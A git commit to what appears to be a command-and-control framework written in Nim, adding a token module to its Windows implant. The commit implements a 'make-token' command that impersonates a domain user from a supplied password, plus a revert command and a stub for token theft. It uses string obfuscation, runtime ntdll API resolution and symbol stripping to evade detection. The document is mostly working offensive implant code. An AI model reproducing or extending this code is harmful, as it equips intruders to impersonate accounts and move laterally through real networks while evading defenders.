Started work on token module and implemented 'make-token' command to impersonate a user from username and password.

This commit is contained in:
Jakob Friedl
2025-10-16 19:29:49 +02:00
parent 80579e5c7f
commit dea10ba7d5
6 changed files with 228 additions and 3 deletions

130
src/agent/core/token.nim Normal file
View File

@@ -0,0 +1,130 @@
import winim/lean
import ../../common/[types, utils]
#[
Token impersonation & manipulation
- https://maldevacademy.com/new/modules/57
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
]#
# APIs
type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
const
CURRENT_THREAD = cast[HANDLE](-2)
CURRENT_PROCESS = cast[HANDLE](-1)
proc getCurrentToken*(): HANDLE =
var
status: NTSTATUS = 0
hToken: HANDLE
let hNtdll = GetModuleHandleA(protect("ntdll"))
let
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, FALSE, addr hToken)
if status != STATUS_SUCCESS:
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
return hToken
proc getTokenOwner*(hToken: HANDLE): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pUser: ptr TOKEN_USER = nil
usernameLength: DWORD = 0
domainLength: DWORD = 0
totalLength: ULONG = 0
sidName: SID_NAME_USE
szUsername: PWCHAR = nil
pDomain: PWCHAR = nil
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
# Calculate return length to allocate space
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken [1] ") & $status.toHex())
pUser = cast[ptr TOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
if pUser == NULL:
raise newException(CatchableError, "Failed to allocate memory for TOKEN_USER")
defer: LocalFree(cast[HLOCAL](pUser))
# Retrieve token user information
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken [2] ") & $status.toHex())
if LookupAccountSidW(NULL, pUser.User.Sid, NULL, addr usernameLength, NULL, addr domainLength, addr sidName) == FALSE:
sidName = 0
let
sizeofWChar = cast[ULONG](sizeof(WCHAR))
pDomain = cast[PWCHAR](LocalAlloc(LMEM_FIXED, domainLength * sizeofWChar))
pUsername = cast[PWCHAR](LocalAlloc(LMEM_FIXED, usernameLength * sizeofWChar))
if pDomain == NULL or pUsername == NULL:
raise newException(CatchableError, $GetLastError())
defer:
LocalFree(cast[HLOCAL](pDomain))
LocalFree(cast[HLOCAL](pUsername))
# Retrieve username & domain
if LookupAccountSidW(nil, pUser.User.Sid, pUsername, addr usernameLength, pDomain, addr domainLength, addr sidName) == FALSE:
raise newException(CatchableError, $GetLastError())
return $pDomain & "\\" & $pUsername
proc impersonateToken*(hToken: HANDLE) =
discard
#[
Create a new access token from a username, password and domain name triplet.
Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly)
This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user.
In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
]#
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): bool =
if username == "" or password == "" or domain == "":
return false
var
hToken: HANDLE
hImpersonationToken: HANDLE
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
if LogonUserA(username, domain, password, logonType, provider, addr hToken):
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
return false
defer: CloseHandle(hImpersonationToken)
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
return false
else:
return false
defer: CloseHandle(hToken)
return true
proc tokenSteal*(pid: int): bool =
discard
proc rev2self*(): bool =
return RevertToSelf()

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="255" -d:MODULES="511"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -127,6 +127,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.buildLog.clear()
# Iterate over modules # Iterate over modules
var modules: uint32 = 0 var modules: uint32 = 0
for m in component.moduleSelection.items[1]: for m in component.moduleSelection.items[1]:

View File

@@ -52,6 +52,9 @@ type
CMD_SCREENSHOT = 15'u16 CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16 CMD_DOTNET = 16'u16
CMD_SLEEPMASK = 17'u16 CMD_SLEEPMASK = 17'u16
CMD_MAKE_TOKEN = 18'u16
CMD_STEAL_TOKEN = 19'u16
CMD_REV2SELF = 20'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8
@@ -99,6 +102,7 @@ type
MODULE_FILETRANSFER = 32'u32 MODULE_FILETRANSFER = 32'u32
MODULE_SCREENSHOT = 64'u32 MODULE_SCREENSHOT = 64'u32
MODULE_SITUATIONAL_AWARENESS = 128'u32 MODULE_SITUATIONAL_AWARENESS = 128'u32
MODULE_TOKEN = 256'u32
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments # Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
iterator items*(e: typedesc[ModuleType]): ModuleType = iterator items*(e: typedesc[ModuleType]): ModuleType =

View File

@@ -27,7 +27,8 @@ when (MODULES == cast[uint32](MODULE_ALL)):
bof, bof,
dotnet, dotnet,
screenshot, screenshot,
systeminfo systeminfo,
token
registerModule(sleep.module) registerModule(sleep.module)
registerModule(shell.module) registerModule(shell.module)
registerModule(bof.module) registerModule(bof.module)
@@ -36,6 +37,7 @@ when (MODULES == cast[uint32](MODULE_ALL)):
registerModule(filetransfer.module) registerModule(filetransfer.module)
registerModule(screenshot.module) registerModule(screenshot.module)
registerModule(systeminfo.module) registerModule(systeminfo.module)
registerModule(token.module)
# Import modules individually # Import modules individually
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)): when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
@@ -62,6 +64,10 @@ when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREE
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)): when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
import systeminfo import systeminfo
registerModule(systeminfo.module) registerModule(systeminfo.module)
when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)):
import token
registerModule(token.module)
proc getCommandByType*(cmdType: CommandType): Command = proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType] return manager.commandsByType[cmdType]

83
src/modules/token.nim Normal file
View File

@@ -0,0 +1,83 @@
import ../common/[types, utils]
# Define function prototype
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
# Module definition
let module* = Module(
name: protect("token"),
description: protect("Manipulate Windows access tokens."),
moduleType: MODULE_TOKEN,
commands: @[
Command(
name: protect("make-token"),
commandType: CMD_MAKE_TOKEN,
description: protect("Create an access token from username and password."),
example: protect("make-token LAB\\john Password123!"),
arguments: @[
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
],
execute: executeMakeToken
),
Command(
name: protect("rev2self"),
commandType: CMD_REV2SELF,
description: protect("Revert to previous access token."),
example: protect("rev2self"),
arguments: @[],
execute: executeRev2Self
)
]
)
# Implement execution functions
when not defined(agent):
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import winim, strutils, strformat
import ../agent/protocol/result
import ../agent/core/token
import ../common/utils
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Creating access token from username and password."
var success: bool
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
let
username = Bytes.toString(task.args[0].data)
password = Bytes.toString(task.args[1].data)
# Split username and domain at separator '\'
let userParts = username.split("\\", 1)
if userParts.len() != 2:
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
if task.argCount == 3:
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
if not makeToken(userParts[1], password, userParts[0], logonType):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Reverting access token."
if not rev2self():
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))